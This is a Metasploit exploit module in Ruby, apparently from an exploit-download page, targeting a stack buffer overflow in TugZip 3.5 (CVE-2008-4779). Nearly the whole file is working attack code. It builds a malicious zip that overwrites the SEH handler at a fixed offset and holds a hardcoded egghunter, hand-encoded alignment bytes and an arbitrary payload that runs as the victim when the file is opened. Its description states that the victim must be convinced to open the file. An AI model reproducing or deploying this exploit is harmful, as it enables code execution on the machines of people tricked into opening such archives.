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TugZip 3.5 zip file stack buffer overflow vulnerability download
##
# $Id: tugzip.rb 13971 2011-10-17 04:20:53Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
        Rank = GoodRanking

        include Msf::Exploit::FILEFORMAT

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',
                        'Description'    => %q{
                                        This module exploits a stack-based buffer overflow vulnerability
                                in the latest version 3.5 of TugZip archiving utility.
                                In order to trigger the vulnerability, an attacker must convince someone
                                to load a specially crafted zip file with TugZip by double click or file open.
                                By doing so, an attacker can execute arbitrary code as the victim user.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'Stefan Marin', # Vulnerability discovery
                                        'Lincoln', # Corelan team. Original exploit
                                        'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
                                        'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
                                ],
                        'Version'        => '$Revision: 13971 $',
                        'References'     =>
                                [
                                        [ 'OSVDB', '49371' ],
                                        [ 'CVE', '2008-4779' ],
                                        [ 'BID', '31913' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
                                ],
                        'Platform'       => [ 'win' ],
                        'Payload'        =>
                                {
                                        'BadChars'      => "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),
                                        'DisableNops'   => true, # no need
                                        'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
                                        'EncoderOptions' =>
                                                {
                                                        'BufferRegister' => 'EDI', # Egghunter jmp EDI
                                                }
                                },

                        'Targets'        =>
                                [
                                        [
                                                'Universal',
                                                {
                                                        'Ret'    => 0x7e0c307e,
                                                        # 5.00.2147.1 [ztvcabinet.dll]
                                                        # POP EBX > POP EBP > RETN
                                                        'Offset' => 372, # to nseh
                                                }
                                        ],
                                ],
                        'DisclosureDate' => 'Oct 28 2008',
                        'DefaultTarget'  => 0))

                        register_options(
                        [
                                OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
                        ], self.class)

        end

        def exploit

                # Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)
                # base register ESI
                hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"
                hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"
                eggtag = 'w00t' * 2

                getpc_asm = %q{
                        popad
                        popad
                        popad
                        popad
                        popad
                        pop ebx
                }

                # Align EBX for hunter
                alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string

                # Align for ESI + factoring mangled chars
                alignment << "\x89\x05"              # jmp short (5 bytes) to 'jmp back' at end
                alignment << "\x5e"                  # pop esi
                alignment << "\x41"                  # nop (inc ecx)
                alignment << "\x98\x99"              # call esi
                alignment << "\x41"                  # nop (inc ecx)
                alignment << "\x8a\x94\x98\x98\x98"  # jmp back to pop esi

                getpc_asm = %q{
                        popad
                        pop esp
                        inc eax
                        inc eax
                }

                # Realign stack pointer
                nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string

                seh = [target.ret].pack("V*")

                sploit = rand_text_alpha(target['Offset'])
                sploit << nseh << seh
                sploit << alignment
                sploit << hunter
                sploit << eggtag << payload.encoded

                zip = Rex::Zip::Archive.new
                xtra = [0xdac0ffee].pack('V')
                comment = [0xbadc0ded].pack('V')
                zip.add_file(sploit, xtra, comment)

                # Create the file
                print_status("Creating '#{datastore['FILENAME']}' file...")

                file_create(zip.pack)
        end

end
example usage
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